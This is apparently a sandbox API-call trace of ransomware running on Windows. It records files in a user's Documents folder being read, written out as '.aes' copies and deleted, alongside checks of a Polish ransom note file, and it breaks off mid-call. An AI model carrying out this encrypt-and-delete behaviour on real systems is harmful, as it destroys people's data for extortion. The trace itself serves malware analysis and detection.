[0075.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0075.464] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0075.486] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx", lpFilePart=0x0) returned 0x3e [0075.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0075.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\pp5 bxjs.pptx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe916e610, ftCreationTime.dwHighDateTime=0x1d2fff8, ftLastAccessTime.dwLowDateTime=0xcd515190, ftLastAccessTime.dwHighDateTime=0x1d30101, ftLastWriteTime.dwLowDateTime=0xcd515190, ftLastWriteTime.dwHighDateTime=0x1d30101, nFileSizeHigh=0x0, nFileSizeLow=0xfafd)) returned 1 [0075.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0075.486] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx", lpFilePart=0x0) returned 0x3e [0075.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0075.486] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\pp5 bxjs.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8d8 [0075.486] GetFileType (hFile=0x8d8) returned 0x1 [0075.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0075.487] GetFileType (hFile=0x8d8) returned 0x1 [0075.487] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx.aes", lpFilePart=0x0) returned 0x42 [0075.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0075.487] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\pp5 bxjs.pptx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0075.487] GetFileType (hFile=0x8dc) returned 0x1 [0075.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0075.487] GetFileType (hFile=0x8dc) returned 0x1 [0075.487] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0075.516] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703eb08 [0075.516] GetNetworkParams (in: pFixedInfo=0x703eb08, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703eb08, pOutBufLen=0x77ce624) returned 0x0 [0075.524] LocalFree (hMem=0x703eb08) returned 0x0 [0075.524] GetAdaptersAddresses () returned 0x6f [0075.528] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0075.528] GetAdaptersAddresses () returned 0x0 [0075.534] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0075.540] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2d38 [0075.540] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2d38, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2d38, pOutBufLen=0x77ce38c) returned 0x0 [0075.546] LocalFree (hMem=0x6ff2d38) returned 0x0 [0075.546] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0075.553] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2d38 [0075.553] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2d38, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2d38, pOutBufLen=0x77ce38c) returned 0x0 [0075.559] LocalFree (hMem=0x6ff2d38) returned 0x0 [0075.559] LocalFree (hMem=0x7074460) returned 0x0 [0075.559] GetBestInterfaceEx (in: pDestAddr=0x28a6b9c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0075.642] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.644] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.644] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.644] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.644] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.644] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.644] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.644] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.645] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.645] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.645] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.645] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.645] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.645] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.645] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.646] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.646] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.646] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.646] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.646] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.646] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.646] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.646] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.647] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.647] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.647] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.647] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.647] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0075.647] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0075.647] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0xafd, lpOverlapped=0x0) returned 1 [0075.647] ReadFile (in: hFile=0x8d8, lpBuffer=0x26b89a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b89a4*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0075.648] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0xc11, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce974*=0xc11, lpOverlapped=0x0) returned 1 [0075.648] WriteFile (in: hFile=0x8dc, lpBuffer=0x2858194*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2858194*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0075.648] CloseHandle (hObject=0x8dc) returned 1 [0075.649] CloseHandle (hObject=0x8d8) returned 1 [0075.649] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx", lpFilePart=0x0) returned 0x3e [0075.649] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\PP5 bxjS.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\pp5 bxjs.pptx")) returned 1 [0075.650] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4b [0075.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0075.650] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe70cc000, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe70cc000, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe70cc000, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0075.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0075.650] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0075.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps", lpFilePart=0x0) returned 0x43 [0075.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0075.670] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\xlyls6yx0mico1.pps"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x591694f0, ftCreationTime.dwHighDateTime=0x1d2fc49, ftLastAccessTime.dwLowDateTime=0xa44a890, ftLastAccessTime.dwHighDateTime=0x1d2f8b0, ftLastWriteTime.dwLowDateTime=0xa44a890, ftLastWriteTime.dwHighDateTime=0x1d2f8b0, nFileSizeHigh=0x0, nFileSizeLow=0x6f6)) returned 1 [0075.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0075.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps", lpFilePart=0x0) returned 0x43 [0075.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0075.670] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\xlyls6yx0mico1.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0075.670] GetFileType (hFile=0x8dc) returned 0x1 [0075.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0075.670] GetFileType (hFile=0x8dc) returned 0x1 [0075.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps.aes", lpFilePart=0x0) returned 0x47 [0075.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0075.670] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\xlyls6yx0mico1.pps.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0075.671] GetFileType (hFile=0x8e4) returned 0x1 [0075.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0075.671] GetFileType (hFile=0x8e4) returned 0x1 [0075.671] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0075.722] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x7081038 [0075.722] GetNetworkParams (in: pFixedInfo=0x7081038, pOutBufLen=0x77ce624 | out: pFixedInfo=0x7081038, pOutBufLen=0x77ce624) returned 0x0 [0075.729] LocalFree (hMem=0x7081038) returned 0x0 [0075.729] GetAdaptersAddresses () returned 0x6f [0075.754] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0075.754] GetAdaptersAddresses () returned 0x0 [0075.759] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0075.770] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0075.770] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0075.776] LocalFree (hMem=0x6ff2da0) returned 0x0 [0075.777] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0075.783] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0075.783] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0075.789] LocalFree (hMem=0x6ff2da0) returned 0x0 [0075.790] LocalFree (hMem=0x7074460) returned 0x0 [0075.790] GetBestInterfaceEx (in: pDestAddr=0x28b5154*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0075.902] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b8a14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8a14*, lpNumberOfBytesRead=0x77cea50*=0x6f6, lpOverlapped=0x0) returned 1 [0075.903] ReadFile (in: hFile=0x8dc, lpBuffer=0x26b8a14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8a14*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0075.903] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752b8*, nNumberOfBytesToWrite=0x811, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x28752b8*, lpNumberOfBytesWritten=0x77ce974*=0x811, lpOverlapped=0x0) returned 1 [0075.903] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752b8*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x28752b8*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0075.903] CloseHandle (hObject=0x8e4) returned 1 [0075.904] CloseHandle (hObject=0x8dc) returned 1 [0075.905] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps", lpFilePart=0x0) returned 0x43 [0075.905] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\xlyLS6yx0MIco1.pps" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\xlyls6yx0mico1.pps")) returned 1 [0075.906] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4b [0075.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0075.906] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe70cc000, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe70cc000, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe70cc000, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0075.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0075.906] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0075.935] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt", lpFilePart=0x0) returned 0x34 [0075.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0075.935] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\-gjqedw.odt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e121e40, ftCreationTime.dwHighDateTime=0x1d304ff, ftLastAccessTime.dwLowDateTime=0x81308b40, ftLastAccessTime.dwHighDateTime=0x1d303e6, ftLastWriteTime.dwLowDateTime=0x81308b40, ftLastWriteTime.dwHighDateTime=0x1d303e6, nFileSizeHigh=0x0, nFileSizeLow=0x18d58)) returned 1 [0075.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0075.935] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt", lpFilePart=0x0) returned 0x34 [0075.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0075.935] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\-GJqEDw.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\-gjqedw.odt"), dwDesiredAccess=0x80000000, 